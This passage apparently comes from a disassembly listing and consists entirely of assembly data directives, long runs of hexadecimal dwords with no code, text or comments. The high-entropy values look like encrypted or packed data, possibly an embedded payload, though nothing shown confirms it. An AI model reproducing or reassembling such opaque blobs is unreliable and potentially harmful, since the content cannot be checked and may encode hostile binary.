69BA8555h, 2DF0C80Ch, 3165537Bh dd 36979ADFh, 3B797DE0h, 274CE030h, 0DF354ADAh, 8B4621BFh dd 6E5E039Fh, 8EC13B5Dh, 966CBE47h, 8BBD7073h, 6CDE9C35h dd 4C6E4023h, 0CCFAE767h, 8B3B0993h, 260EE59Fh, 3DF8392Ch dd 0D717BFACh, 41CB5B76h, 10C6135h, 7AC0CD61h, 0C966B428h dd 0CB466Eh, 0B7362732h, 9372CF6h, 0AD829F11h, 82613424h dd 5D840B85h, 0B98E1AA9h, 143FB4D7h, 0A2F46EC1h, 0E27EEFF9h dd 0E4206E76h, 0F5ED8B82h, 0D71D9537h, 0A1201576h, 166AAFF4h dd 4500E3A7h, 0CCFAD2F6h, 0BA7C3519h, 6F87FF6Ch, 6A4D95F5h dd 0A6F0C31h, 0AAE6ACAFh, 0A6B716h, 14CB8C1Dh, 3731F6F7h dd 3255D1B6h, 98753A6h, 64983A28h, 866B94A4h, 0F19404D4h dd 81083903h, 0A00524Ch, 3A360414h, 2673C0F4h, 5A54BBC1h dd 172BA50Bh, 3537740Bh, 0A6A0B78Eh, 0F95237Eh, 249CC08Bh dd 7CB5B6Dh, 8D6F21C0h, 23B51EAFh, 726EBFD7h, 0F7C41B67h dd 39F98310h, 97795Fh, 912286F9h, 0A205B7B0h, 42EC15E6h dd 0B6F2E65Fh, 6304D393h, 0C70050EAh, 6710F1ADh, 48E4B408h dd 0A922E4Fh, 37FCBFC2h, 0ABF1DF50h, 0EAD1E938h, 12E2CFEFh dd 4C851E2Ch, 2DD4E166h, 3E6BE37h, 8875034Ah, 1795CE1h dd 59767FBAh, 0E8C8A50Bh, 482C6529h, 0AE70D879h, 28968C4Fh dd 7D389437h, 6CC22492h, 0A2AB7D12h, 2629E589h, 8F691965h dd 0A5C6E79Bh, 39458C88h, 4E0B57Ah, 2C274067h, 5A1DC65Dh dd 2395C406h, 8FFBAD49h, 0B66D2A34h, 5248D393h, 774985A7h dd 0B7EDCB50h, 9FC43728h, 0EE3989C9h, 0F7598163h, 3DDBA1D5h dd 721835A0h, 73372F06h, 0FFE59E4Fh, 6310D7A8h, 4EDFB20Ch dd 0B6E9EC59h, 0CAE2D393h, 670AC7A4h, 0D52C1913h, 332DFA76h dd 0EBDBB6Bh, 0D71CE2F6h, 78E56276h, 0C9CF8CB9h, 4EDFB20Ch dd 0A6CB8B59h, 411FFCB5h, 5FCE50A6h, 66631059h, 574D05A3h dd 0C3372BCDh, 0F24F9707h, 0A74A9D7h, 0FD98F74Ah, 0F085AFFEh dd 2182842Ah, 0C3C380A6h, 0F2CD5A7h, 0DCB6A80Bh, 5FB730F6h dd 0E91F0C2Ah, 6B0D8F53h, 0E56A0F44h, 1F469B4Eh, 80CB87C5h dd 0E57D6285h, 0D644BAC0h, 33FC2E4Dh, 0D0229426h, 53427F55h dd 72CBEB17h, 617F781Ch, 3DFF50EAh, 0AB113F91h, 0D8CDFB87h dd 5882ACDh, 0CCFAD2F5h, 72CBEC95h, 4450871Ch, 0CE373099h dd 1FC9FA96h, 0DDA769D9h, 70884847h, 7CC7F4C2h, 0D2A5D5CAh dd 94C80799h, 0F9E3B74Ch, 39458C99h, 3A5F5D7Ah, 0C53F34AFh dd 0A6F0AF5h, 48390445h, 6AC9B32Eh, 3AAEDA47h, 4795835Fh dd 795DF458h, 0FA3846EDh, 0B4FAD390h, 241795C8h, 118BE62Ch dd 89565102h, 7C37308Bh, 0D29DA3C8h, 0D71868A4h, 956BDC76h dd 0A6671D91h, 0DF458B6Dh, 0DA3518F8h, 0D940286Dh, 6200E25Ch dd 0F5FF50EAh, 0D718303Ah, 0E4ECB76h, 8E372F57h, 27B1A4B6h dd 14F0861Fh, 0B5438539h, 6D3A9B9Ch, 0EB07B384h, 56A6E371h dd 0D63747DAh, 5FE1705Eh, 0EBF9614Bh, 0C8374C21h, 8DFF7026h dd 33FA3BEBh, 0E3902910h, 0C0D013D7h, 0E46531C7h, 5CE6ECABh dd 8B3D5123h, 2F4CE59Fh, 294A8831h, 0B0C011D0h, 7D25B22Eh dd 0F62B5C27h, 0A6F0D6Eh, 0B2E9B1ECh, 1A6DE628h, 3AAD6EEFh dd 0FEDE01E4h, 81C4F239h, 0EB07B2FBh, 6CDE9CC7h, 4C6E4023h dd 0CD065E67h, 8B3B0993h, 6A9B039Fh, 5904450Fh, 0D868647Fh dd 6337307Eh, 3F2DF3F0h, 0EA372F55h, 38B740A1h, 0EE02C016h dd 64713604h, 166B94A4h, 0E3411AC5h, 0E9E1C601h, 6740B32Fh dd 170C581Fh, 604732E4h, 0BC0394AFh, 70F57685h, 2FAD38Ch dd 5FEDE16Eh, 5BDE5629h, 72CBEC84h, 4450871Ch, 0C2373099h dd 0DDB35D0Ah, 919B3910h, 118BE628h, 3537CF8Ah, 38458BBCh dd 0F3C65720h, 4A90CCA4h, 0E37A2D53h, 28F689F5h, 0D3EDD276h dd 20D74A30h, 5D7A35E7h, 4C8598ABh, 0ECA2C017h, 0DF354603h dd 45AC3967h, 0A7A17E28h, 0AABB8C78h, 0DF700E2h, 6D9F98CAh dd 0C6BA695Bh, 5A687742h, 0E3B9C6BFh, 69A4B56Ah, 7770D9ADh dd 0EB2953BDh, 7B52A88h, 0BA72EF6Eh, 3AA4B56Ah, 7D8279FEh dd 796E4739h, 0D820A776h, 0F903DF4Eh, 0A66FA90Dh, 0D6DBC5A5h dd 26592EA0h, 195C4B8Bh, 45316E75h, 0A06A4AB2h, 10704AD7h dd 31B25B6Dh, 0D684CF96h, 8B3874CCh, 0F0BC4B60h, 73B56134h dd 831EB2FBh, 7606F89Ch, 6DB8ED33h, 49BD27D9h, 0D2F20FBEh dd 0F55E5C0Ch, 1DBD0E98h, 0D042A430h, 0CCFAD38Ch, 0C991068Bh dd 9C019610h, 549303E0h, 2A07AAA5h, 290A365Ah, 1BD8BE06h dd 0CB39C61Eh, 95A2C7E5h, 0AB9CD95Eh, 0E6076015h, 0BFAC2DC2h dd 0CCFAD38Fh, 3F88A0Ch, 9E6A8EE5h, 750E8E73h, 9DFAD23Fh dd 0BB0E8F93h, 9DFAD32Ah, 0D5D68E1Bh, 0AC6C4758h, 6442B82Eh dd 0B78C3920h, 0B5F2A6FCh, 0E4435878h, 0BC15B072h, 0BFA11EC2h dd 0D67FBEC0h, 0BD823F6Ah, 9F86DA4Ch, 49A18E1Bh, 8AC08BC9h dd 53129667h, 5928AACCh, 157B4178h, 0CC0F916Eh, 768BD393h dd 0CCFAD2E7h, 0F811A608h, 0F711BE1Dh, 0CC0EAE67h, 0AD3D393h dd 0F62AF82Fh, 6B93BAEDh, 7520AB47h, 0AE2EB2D0h, 0DB16ADCDh dd 0DE2F37D2h, 0A158EF68h, 5A2B09CAh, 4C1DEF3Ch, 0FA770975h dd 0F927D81Dh, 8B6B81C5h, 0C70F0B09h, 5A90D6D3h, 23A20B3Dh dd 0D7F4ABACh, 6F1EEF0Bh, 0A115D0D3h, 60C6E578h, 313A804h dd 0DECFA563h, 0B591CA41h, 799FF627h, 24340F3Ch, 0A9FD3F0h dd 89F3A3C1h, 208D2D67h, 97AABB8h, 8641CDC8h, 0E5D5D396h dd 0CCFAD393h, 69CA3373h, 0C0177672h, 0C0122E72h, 0CCFAD2B4h dd 0EEC9D7C8h, 0C26817ABh, 0CF0F9F07h, 0CD05AD61h, 5855B993h dd 3FBCBBA9h, 8641F0E9h, 0CCFADF54h, 0E530D395h, 0CCFAD393h dd 10C9D873h, 0C0125E60h, 0C0122E72h, 0CCFAD2DFh, 19E1601Dh dd 0CCF80706h, 13944493h, 183A5EF2h, 97093FCDh, 0B6E52D55h dd 0CD05ABB4h, 8331D393h, 5EB7A1D0h, 2753ABB1h, 0B7278901h dd 69DAD393h, 9934344Ch, 0C98BEE68h, 2A2EEE75h, 3CD393h dd 0DEF2B551h, 0ED1BD619h, 0AFDDED65h, 864708A2h, 0E55BD396h dd 0CCFAD393h, 0BC9D973h, 0C016E660h, 0C0122E72h, 0CCFAD2B4h dd 0EEE14132h, 0A7A7DBF7h, 0B090B5DFh, 3EF822A6h, 9E8D548Fh dd 8FFCF339h, 22B68A8h, 0F4D28656h, 820141D2h, 0C321091Dh dd 0D3CCD0A9h, 0F499F192h, 0D8E6575Bh, 9507AB96h, 3B3E9204h dd 9EB97664h, 37486EC8h, 588379E9h, 0DAB654B5h, 0DA04D6CFh dd 0CFB6BDB7h, 15DF179Eh, 2B71C5CDh, 0D4984CE9h, 988508DFh dd 359821E4h, 0C0CCBB54h, 89FCF552h, 0E9733156h, 1892879Bh dd 0E45FF05Dh, 5662493Eh, 0B8DF177Eh, 15566F2Bh, 9BBF165Dh dd 0CA24FD65h, 0B681F2BCh, 0FABA42C4h, 51345600h, 0AA45D941h dd 0C0CD4038h, 970FFD41h, 0C0CAC4ADh, 0C01589DBh, 8BFA7596h dd 15DF178Eh, 217214F4h, 0E2A7285Eh, 0E9AEB6A1h, 8E3F62DAh dd 15DF1657h, 73879CFFh, 0DCE95C12h, 2D5EB6CDh, 0BC7FE87Eh dd 0B4B99B64h, 36F3F1C8h dd 0E968BB54h, 92FC425Ch, 43BF6B63h, 0B168B77Ch, 15CC2E7Ch dd 0D3EE165Dh, 0ED514608h, 0E57BC5CFh, 1F3AB3C9h, 15E72D54h dd 0D7F8165Dh, 7B414BF3h, 652111C5h, 98F7CC7Dh, 2011F485h dd 15DEF2BAh, 954C165Dh, 0C0E16A79h, 15DFC3A3h, 0B918165Dh dd 6B802A80h, 0C7533E69h, 0E08C3B92h, 15DF165Bh, 0EECF108Eh dd 6A601A1Eh, 723D2954h, 0C0CAC3B0h, 0B79D2D4Eh, 4475776Eh dd 463063A5h, 8F09F7Dh, 0FF4B07h, 6D0F9770h, 0E9FE8A57h dd 87218F8h, 0FE2C59AEh, 7318A482h, 4618A46Eh, 0B27218FBh dd 0BBD759AFh, 0F94CA917h, 0FC5040B0h, 5BE880A1h, 6D09F1B4h dd 0E9FE5657h, 87218F8h, 0FC185A92h, 7318A8E2h, 0E718A46Eh dd 0D67218F8h, 0F62359FFh, 74E501DDh, 585F89E4h, 3BEB1854h dd 15E5A524h, 6D77F777h, 1ED4C9E7h, 9B09F5E6h, 3B721885h dd 79F15E04h, 0DA341D50h, 6D09F5EAh, 0E9FE8A57h, 87218F8h dd 0FE2C59AEh, 7318A482h, 4618A46Eh, 0B27218FBh, 47F59AFh dd 0C51C98Bh, 8DF133C9h, 8C7F03BFh, 0AE26DF50h, 0BF801885h dd 41792724h, 0F0EF0F69h, 0A549F01Bh, 0C7C3B070h, 66771806h dd 15DACAD7h, 8D7758D8h, 93C19029h, 0CEBB4975h, 0EEC987C9h dd 2581E3D8h, 0B8A6FEA7h, 0D5A90F3Dh, 8C9B1BE4h, 4C284551h dd 0A7E35C26h, 0FF684F98h, 0BB2923D4h, 4AA8B2C2h, 6548ADA6h dd 5A735884h, 63BD1412h, 724164FBh, 353E1160h, 0B890A81Bh dd 0B55AB625h, 4B7C9E0Ch, 7C12A3A6h, 6BE2A4A4h, 80B0CEEEh dd 3C2F7B81h, 216DE5F7h, 4E2960Dh, 0FD90F6AAh, 88329180h dd 76F8AEE9h, 92B09EF0h, 26A48BCBh, 0A508AEB7h, 2DCE81E4h dd 8CACC0A9h, 928BF95Eh, 8831F0AEh, 0C0EA9C79h, 8831F07Ah dd 127C0A5Ch, 0F474B7B9h, 782282F1h, 4BDB1E7h, 0BAF90CC1h dd 5A9E012Ah, 0C9814379h, 331F0AFh, 17B7E188h, 260468FCh dd 0E1E04535h, 6EA9423Bh, 7C39F1Bh, 0BA858F32h, 424F8FBAh dd 0BCD8444Ch, 0DDA083ACh, 1D21A1A6h, 0E2B6888h, 0ADEA9CBEh dd 0A3F9379h, 0DCC0B1A7h, 0E2853AFh, 4BE7B3BDh, 30B955CDh dd 0C26B2220h, 454C8F37h, 0AF775454h, 0C6556883h, 10EE55B2h dd 0AA31F0AFh, 8080AF1Ch, 623291F9h, 4BC6DD38h, 41C8C358h dd 421A728Eh, 6CB68885h, 678C85DEh, 59A009C6h, 3B24D3E0h dd 0AA774D1Ch, 0F4E89AB6h, 0FC070232h, 2BBC50DCh, 57B86566h dd 12B879E2h, 2065CA5Dh, 0CD884555h, 2F0C7E6Bh, 12BD926Bh dd 2070215Dh, 4CB862B9h, 0A63CDD91h, 29AEED98h, 0FB5659ECh dd 37E29F4h, 0CA7EF44Dh, 0CC588AB9h, 25B80DE1h, 11716366h dd 46B475Dh, 0D28285EEh, 12B7EF6Ah, 18B8805Dh, 12B87995h dd 205ACA5Dh, 0CD704502h, 2F0C7E6Bh, 12BD926Bh, 2074B85Dh dd 3CBE9BBFh, 8305D4FCh, 53B88A71h, 683C537h, 2AC1FE1Bh dd 12B7EF66h, 6E7AD1FDh, 0F9418AB6h, 0F9339B85h, 12B7EBD8h dd 0A985A9AFh, 0AA6DFD4Ah, 9BD949C7h, 21DA14DBh, 0CC2DAD59h dd 0CBE1E66Ah, 95DA140Ah, 0CC3FDA95h, 21B8656Ah, 0CF6A4559h dd 0F88C446Ah, 0C106BE38h, 0EEEC86EDh, 2E61B3B2h, 0ED7BD1F7h dd 0D1FC04CCh, 0AB13ECB6h, 52ECD947h, 0F50944E7h, 0E291597Ah dd 0D084178Fh, 52B4C44Bh, 98FB2E1Dh, 550BF4ADh, 0B475191Ch dd 8F923B35h, 256E41C1h, 7C96F649h, 0D03295B6h, 0F52FFE48h dd 0A65970BBh, 0A6F26031h, 316B3215h, 190EA2C5h, 84636AD7h dd 859560E8h, 52B2C36h, 0CC68C313h, 3E2ECBEDh, 0E72E2BB3h dd 0B8D4F33Ch, 0C01BD2A7h, 46F35B87h, 0EBEE13B6h, 46A21076h dd 0Ah dup(469913B6h), 0B1C613B6h, 60991487h, 0D050BC46h dd 0B0E1B88Dh, 6EE12DCBh, 8A255366h, 840017B2h, 50C8A111h dd 6E37B68Ch, 0D212B20h, 48DCC404h, 0D86F39E1h, 73AACA2Ch dd 0CD813E8Bh, 0E1A03292h, 9EE22EC5h, 0BFAB1FE5h, 0A6970F62h dd 2DCA44E6h, 686B23ADh, 204F675h, 5CB4BD48h, 8D28A236h dd 9A419322h, 3A242D6Bh, 76547CA8h, 0C0AFFCA0h, 70125EBh dd 419ACBAh, 532D7309h, 29194B94h, 0E1EEBDF9h, 8E67B796h dd 0D77F8EB5h, 2222E4B0h, 0B78CC074h, 0ED279DF7h, 78422211h dd 0B0942D4Ah, 4F632126h, 347E31DBh, 683F73D4h, 29369E57h dd 0AEBE69AFh, 0AC9415CEh, 0B8C21B68h, 18E90583h, 794DF0B4h dd 0D28BE23Ah, 9312D8FAh, 466D2FD2h, 318734DFh, 36979050h dd 0EB0EC4BAh, 0ACDC4467h, 0CEB2EA0Dh, 5F8B5492h, 846DEB86h dd 2440D3C2h, 0C07BD9C5h, 8CE9743h, 7110B0EFh, 0E57AB4Eh dd 0C145DCD8h, 469913B0h, 2A395455h, 0F41B8088h, 69679A57h dd 512A0FF0h, 0CBE26C85h, 2372D282h, 66D1AB7Fh, 32CF6D90h dd 0F9F68923h, 0A1594237h, 0C484511h, 2FC5A3BDh, 15B0A298h dd 0F2636E9h, 2F0F0FA8h, 0B8867E6Ah, 2EB8B4A1h, 7E96B1A1h dd 0A3361E08h, 4CDEAE71h, 4CF519E3h, 0A564D195h, 92E96F17h dd 0D8CAC74h, 3A92803Eh, 0D1B3C20Ah, 50468425h, 192DA277h dd 0C0359743h, 9777F722h, 4DFBC964h, 8CC7C576h, 463C78FBh dd 124D5233h, 0CF1CA815h, 7999A10Fh, 0D99148Fh, 963AA985h dd 2D7056E6h, 4ADFA3C3h, 3C722366h, 1FA82BEBh, 0B7886F79h dd 6A7902F0h, 0D6531015h, 6A360C85h, 8375C738h, 59DC597Ch dd 5E2F3330h, 0B817678Eh, 0A130BC2Ch, 82C9BBF5h, 71414C9Ch dd 0EE4C613h, 0F66403A6h, 6CDAF0B8h, 0DA826E7h, 0E692F688h dd 163D3B27h, 99608317h, 5445DC44h, 466D2FBCh, 7D3E59D6h dd 0BDEAD22Ch, 0AC979038h, 0DF389478h, 0CCC532BBh, 9E8B90CAh dd 0F024CA08h, 0B02CCAA6h, 75CE5369h, 0CA5F45D9h, 0B7FDF9AEh dd 0CD3E1EC1h, 0F4678276h, 0EBA03077h, 629D4A96h, 0B910E3A9h dd 4ABAA8D1h, 0DBD6DD66h, 54E9BB93h, 2096F294h, 320C7550h dd 63C8F224h, 0ACBDD494h, 5A821ABh, 638E39FDh, 795A1597h dd 466B9384h, 0BC4446B6h, 0B4DC0476h, 0BD394966h, 0E2DEF14Bh dd 0A0E3E5BBh, 11887E45h, 0AD97901Ch, 0AF2FA40Eh, 7EFDF897h dd 5DB738B0h, 1F9790C9h, 5048D9CBh, 0A8CBCEDEh, 7133EEB8h dd 0B4BD4AACh, 0E3105D32h, 3C4C8538h, 0CFF4BB6Bh, 67ED9B5Bh dd 7287D83Ch, 4BF6D2EBh, 0A00B3D00h, 3404F71Fh, 87FDB64Ah dd 0B8881EB0h, 88DC6A87h, 0F1D1518Dh, 0AA9CFC07h, 4965EFACh dd 0DFD6238Ah, 0A6304896h, 7B88D941h, 85E32155h, 0B6634014h dd 0F90B8BFDh, 0E5072068h, 0F08113B0h, 7189FFEDh, 3D9FEFD8h dd 372511E5h, 63644D01h, 0C68A9EBEh, 0A3D5F15h, 704C2635h dd 0B1A9B9CEh, 4834C06Ch, 6F58CEFFh, 42CCC06Fh, 7FE3E662h dd 73B986DAh, 0BD743552h, 0C7855FEEh, 538CA3ECh, 0F2704294h dd 0B6BC6BCh, 0C3D4FC8Dh, 9A34D399h, 0DCD6BC8Dh, 45633111h dd 8B58B366h, 0F2710BAEh, 2F092F79h, 81E66F85h, 0B1954647h dd 3E5527BDh, 19EC5EA6h, 2FDAAA14h, 0CAB8314h, 0C6515F3Eh dd 30BC75FFh, 3D394218h, 0E05FD702h, 7E626CBDh, 0A2B4DB02h dd 9BCBB9ECh, 466D2E19h, 0E61C35D2h, 10F6D55Eh, 55874DDh dd 24659A10h, 38706F5Bh, 0C88FC391h, 0E840FAD8h, 2B5503EBh dd 0FC4347AFh, 5F821742h, 0B49B1977h, 20D0B711h, 0F1322C2Dh dd 1CA36E1Ch, 5B168D0Ch, 0D9A01E42h, 0A5DD65h, 4A16AABAh dd 46991AD5h, 0EB1A51F9h, 28CF2FE7h, 3BD4A0AAh, 6F444D75h dd 472243EAh, 0DB90AEB6h, 0A866458Eh, 194C8800h, 0BA84B9DBh dd 0B6FB4AACh, 0E6001899h, 6E948C39h, 0E69E478h, 0FDB04E73h dd 4C6A540Fh, 96AA8140h, 4DE84208h dd 319DD4AFh, 468D6037h, 0C28B4D86h, 67691666h, 0C03C06Fh dd 3A4A775h, 93019251h, 6F67FFC8h, 0C8E7C8B0h, 7597604h dd 0B29EFC06h, 0D00DB1B8h, 3E041C4Ah, 70C71A0Fh, 7700A5FDh dd 0F02A6BDh, 6DE607CAh, 2C70A8F9h, 0E8E9E58h, 0DB3A3175h dd 366458Eh, 97388F2Eh, 0AA513D58h, 78655A74h, 3E79E61Ch dd 49AA8D4Ch, 0ED6AD1F0h, 60D5E6F3h, 3C0C9B47h, 63E19D79h dd 1FB9AB83h, 0E3B3132Bh, 467695A5h, 38BB13B6h, 0C7D8545Ah dd 0A6403A8h, 0D213E3Ah, 0C0B279E8h, 0FC62245h, 217DBA4Bh dd 644D93A2h, 4E858BBBh, 0AA514545h, 0BE780010h, 23C3123Fh dd 9D9913B7h, 17E5CF4Fh, 23703C3h, 0DFF0F763h, 62D63B2Bh dd 466B51F9h, 0E01112B6h, 499913B0h, 0BCD92F55h, 0FA652BFAh dd 8F6CD195h, 0EEC42BEBh, 4207541Ch, 0B21E1274h, 7A84137Ch dd 2D0CD58Bh, 703A89AEh, 20DCA658h, 1D125Bh, 0B32B0B30h dd 466D4AA0h, 54961067h, 46D12BEEh, 0A64313B6h, 0EA6BCF56h dd 5ED3A5A2h, 0A4F14061h, 0A3943364h, 466D2FDCh, 4A26D3FDh dd 82D92BE5h, 0BB322BF3h, 23C3123Fh, 9D9913B7h, 30F9B047h dd 30CF68C3h, 0A846963h, 2C7EC994h, 13765C54h, 0B5243347h dd 0A12B2244h, 653AB474h, 43721BC6h, 1F3341C1h, 0E26459BFh dd 3574AE55h, 21FA7163h, 0C3EDA935h, 3E31D190h, 4699134Ah dd 7CB65656h, 780AD864h, 7819F065h, 46991357h, 2DACEE1Bh dd 0DEDFA767h, 0B7812D91h, 0CA4FBC28h, 3D7CD190h, 4699134Ah dd 5FA7AB56h, 7819F043h, 7819F065h, 466D2FF2h, 80A97FF6h dd 55364F74h, 8FB27E40h, 0F02F5E57h, 5AD35C53h, 8DD31382h dd 46A57B32h, 0A53913B6h, 526C5642h, 2293D069h, 4726D0C3h dd 0C89F13B6h, 0D9E090F9h, 0EBFC83F2h, 0D4BC224Bh, 0C9F06DE0h dd 46991382h, 3E8C2FC4h, 4699134Ah, 52B5B456h, 780AE867h dd 7819F065h, 46991329h, 9AA7AC09h, 947498A7h, 0CDE267B2h dd 0AC6C24DFh, 6A178E23h, 4F8C5C57h, 0C9EA0433h, 2CB2E4Dh dd 7A3D5C58h, 46A57B60h, 633913B6h, 2265ADDCh, 2293D0C3h dd 4718D0C3h, 0EB5913B6h, 0AFA4DF42h, 0F226D9B4h, 0C618DB01h dd 0ED6738B4h, 2CB7AC6Ch, 88198907h, 8CE84F50h, 0A7D2460Fh dd 70AEB1ECh, 0DADE29ECh, 2F682418h, 0DDD2410Ah, 69CD0FD2h dd 17ECEBB0h, 1D3A2FBEh, 0D1FD2449h, 0F420BBE4h, 6EBCA370h dd 47B505DEh, 558432A5h, 86BF6CF8h, 0DAB5F903h, 956D55B0h dd 93D39CFh, 0BFB531AEh, 6FA3E8F0h, 30969AA7h, 9AC26D1Eh dd 0B92CF2DCh, 1A7DAA76h, 4AAE7DB8h, 4C34F068h, 47CD5527h dd 9EC9E7D4h, 8BA85945h, 0C7B532E3h, 6BE7FFEEh, 670D344Ch dd 4FD37085h, 62769A7Dh, 47B4F11Fh, 37B1B71Dh, 3FBC4578h dd 951B8CCDh, 475F934h, 0C65A5833h, 0E8EF1529h, 0C3B50060h dd 3C45B35Fh, 93B532A7h, 0A9D46DADh, 0BBE0CF10h, 0E38B6F83h dd 73F35FA0h, 0B7D31677h, 0D9DBE5D6h, 0DC53D779h, 0AAA7C238h dd 5BF5312Fh, 3983163h, 47B53175h, 5465937h, 8BB531AEh dd 106785B3h, 1F4DF24Ch, 8EE8311Ch, 0C7DF3ACBh, 42B24280h dd 5BF59494h, 69B3B67Bh, 0D1984D79h, 0A0334CACh, 0D4050AA8h dd 0ADC57935h, 3624C143h, 0A0334CAFh, 20003137h, 0B9FD0E47h dd 0CCAD6F7Eh, 28983AF4h, 1DB41AD1h, 5F620351h, 86230FC5h dd 5F8D1132h, 6B48E25Ah, 0A0412088h, 0EDC56D88h, 5F0289C5h dd 9088F1F7h, 0A09379FAh, 0EDDD6B88h, 9291AC94h, 0CBCE7626h dd 0AB924CD9h, 9D522B5Ch, 0D1EA4D5Eh, 0A0334CACh, 0DE0034A8h dd 0ADC20A21h, 3624C143h, 0A0334CFCh, 0FA7F7991h, 0CDA8B97Dh dd 1DB47511h, 0A166451h, 0A07D4D82h, 0AEE3C44Ah, 0ED98F571h dd 0E6054B74h, 0FCBD1233h, 0D83B8084h, 5F5CDA12h, 0A0334C5Ah dd 312B6F88h, 98315F8Fh, 4F4C80D9h, 1DA8C7A5h, 0A7AD6E51h dd 0A0F27A2Fh, 14AD9FAAh, 0FE48E251h, 0A041207Eh, 0EDAC6D88h dd 5EDA83A6h, 9088F1F7h, 0A0900FFAh, 0EDFE0E88h, 45B82CA1h dd 3B9487C2h, 6E7E8DA4h, 101203F0h, 0C40E749Dh, 5195571Ah dd 0E6E326Ch, 0A7BA316Eh, 2350F606h, 2D207A81h, 369F8599h dd 3063A96Ah, 0BB36C38Fh, 7C5F76BAh, 4E0BF7BCh, 4127EAEAh dd 6BF04E84h, 0FBCCC450h, 0D4266416h, 7CBBFE82h, 71051199h dd 1BF67E6Eh, 8DD93557h, 86B462B6h, 0E4FFE757h, 6BF2A020h dd 7E63EF50h, 2281CC6Ah, 9F5D4B4Ah, 875223A7h, 0E99A789h dd 5DF793ACh, 0C5A60CE7h, 33C8D8CCh, 2BD00E04h, 412E0819h dd 34BFEEE9h, 0C54D19E9h, 78609337h, 203B31EDh, 0E16A9313h dd 508B3B27h, 90D8489Eh, 0A8447475h, 0BCDBDB6Bh, 7C558C6Ch dd 188ADB6Bh, 61DD3760h, 0C48BE0E3h, 0C80EA2E5h, 0EBA98674h dd 3108E533h, 0DED7EB5Bh, 0BC806BC5h, 22806F3Bh, 0A0776F31h dd 0C48BE8E2h, 0CC64DC5Dh, 2A031FF3h, 8468F520h, 6B76C8EAh dd 0BA1F51DEh, 17B0B869h, 70DA6A2Eh, 8A53A88Bh, 381ED83Bh dd 0A5EFB391h, 4CB833CFh, 0D212C09Dh, 0D1BFC95Dh, 5CF8DC5Dh dd 7AE3CF34h, 2DF9188Fh, 2FE47323h, 8F4178DAh, 93E5EF0Bh dd 0F48D2B5Ah, 1E12CA7Ch, 33D45FBEh, 29474F4Bh, 0E938B041h dd 5FB8DC5Dh, 0B711F82Ah, 599CB6C7h, 0D213301Eh, 5BA1B6D3h dd 0C48BDC27h, 0F624BD5Dh, 0C8E31E30h, 6F01E3Fh, 0D9CD61DFh dd 0C8031530h, 6AB8DC15h, 4E25C736h, 22168746h, 0C418B45Bh dd 75E3DE1Bh, 8A1616D9h, 4C4930Ch, 0F773C70Ch, 17587FAh dd 1BCB8D04h, 72DA19DDh, 0EFBCD9CDh, 53F6B18Fh, 0F8924BBDh dd 33D41226h, 0C2E41E4Bh, 0C7D3CD5Ah, 39ADC76Bh, 0E5FBC8C8h dd 4164DC5Dh, 34C4B5CDh, 0C48C7925h, 248ADB5Dh, 56DD33D1h dd 0D2134BE7h, 589AE512h, 7F32935Eh, 0BB8BDC6Bh, 0A8EFDC6Ch dd 9053C96Bh, 4164DC5Eh, 33D6AB3Dh, 0C3780D25h, 788ADB5Dh dd 56DCE630h, 0D21330BBh, 5612E512h, 0E332935Eh, 0BB8BDC67h dd 7C24146Ch, 0E88FC96Bh, 4164DC5Dh, 33C8EAD5h, 0C37B3125h dd 0B48ADB5Dh, 56DD33C6h, 0C48BD7CFh, 3E2EE512h, 3732937Ah dd 0BB8BDC0Ch, 7D16EC6Ch, 0D1CBC96Bh, 4164DC5Dh, 33C999A9h dd 0C48F6525h, 0E48ADB5Dh, 56DCE503h, 0C48BDCC3h, 39B2E512h dd 9B329370h, 0BB8BDC15h, 7B7BF46Ch, 0D127C96Bh, 84B8DC5Dh dd 0C48C37A7h, 40B8165Dh, 511831F2h, 0BC8C1100h, 0E15FF112h dd 33C93796h, 0A880B63Bh, 0E6DCE646h, 0BEF04BC9h, 0C48BDC30h dd 0BBA54D86h, 0A8906A8Ch, 817CF76Bh, 2D64DC28h, 0E2C9FACh dd 0D0D11710h, 0F8ABDCA0h, 0A43C6D4Fh, 16C70D6Bh, 0C24450CFh dd 9FC430D6h, 8AF131E7h, 0D6F012CEh, 0C48BDC3Bh, 654CFFF7h dd 5C9F0DAEh, 29EC930Ch, 33D75121h, 5FCD15A7h, 71EF149Ah dd 0EB05DCCAh, 0C48C8FC8h, 0C5EBDC5Dh, 375D9811h, 0A11A4BC0h dd 0C49B4DE2h, 0FADEDC5Dh, 414F7918h, 0A87AE3E4h, 34C54E3Ah dd 395515A7h, 0D2139370h, 1DB8DC5Dh, 33C995B6h, 0B416E1DFh dd 0EA339313h, 8FC05806h, 0D43371B3h, 33C93796h, 5330DCA8h dd 0C48BDC02h, 664EA6BDh, 7871BD91h, 75B854D1h, 0C48BDC1Dh dd 974C0ED6h, 6C016665h, 0E168E2EBh, 0E943C9A8h, 0B86CDC5Dh dd 5C932630h, 0E9932675h, 395AC512h, 0FCC49370h, 448E9F2Ch dd 65A746F8h, 656490Ah, 0C93A893h, 64D3EC2Fh, 2068B708h dd 0E2A241F5h, 66166E91h, 0A7E1D863h, 4E896FD9h, 489A43DAh dd 0FE2C2F3Eh, 0CE23990Bh, 2C084F3Fh, 1C000623h, 0BDED3DE4h dd 9C2CB42Fh, 5EC62130h dd 2919CA38h, 0EAAA10DCh, 0FB92E40Eh, 2D6F5A4Ch, 165CC283h dd 13A8EE61h, 0F10AEBD6h, 0B7C920F5h, 3CA6E5F9h, 7ECF1342h dd 5C199479h, 0B61192A3h, 85B2F83Bh, 0F92E19Ah, 0FCA64EDDh dd 0DDCBC7DBh, 0CAA7E4FEh, 8DB7CEF3h, 1003E494h, 0FBE714DFh dd 0BAE014E3h, 0FEF4949Fh, 7CC4E648h, 4860EED5h, 100AEB39h dd 0DAF2718Ah, 0B7D74B11h, 0B204E5F9h, 0A3D87931h, 0E4E73B29h dd 97D98044h, 0BBADD33Dh, 18F0F99Fh, 0E6BDE5E1h, 8DB7C193h dd 7D2CF81Eh, 0B3F35A8Fh, 1892E471h, 3B630E6h, 2FAD616Eh dd 0BA0AEBD4h, 404D80E4h, 0DE0AEF12h, 897640Ah, 3AD84B59h dd 0A27CC2FBh, 0E8D3EBB0h, 77DE8653h, 0CFA39DAEh, 1A66F22h dd 1892E42Dh, 0AF8E9586h, 538C1B77h, 88A58281h, 5A4E8D82h dd 0F8E8E93Fh, 1A90A3Ah, 252597FDh, 786DA587h, 526CD695h dd 4D1AA788h, 0F96DA9E8h, 52A58288h, 0F53728E3h, 0F3311809h dd 6FB27FA4h, 63F92DAAh, 43A93B46h, 0CBB5B8E4h, 0B724CFBBh dd 8A7B41C8h, 52A5835Ah, 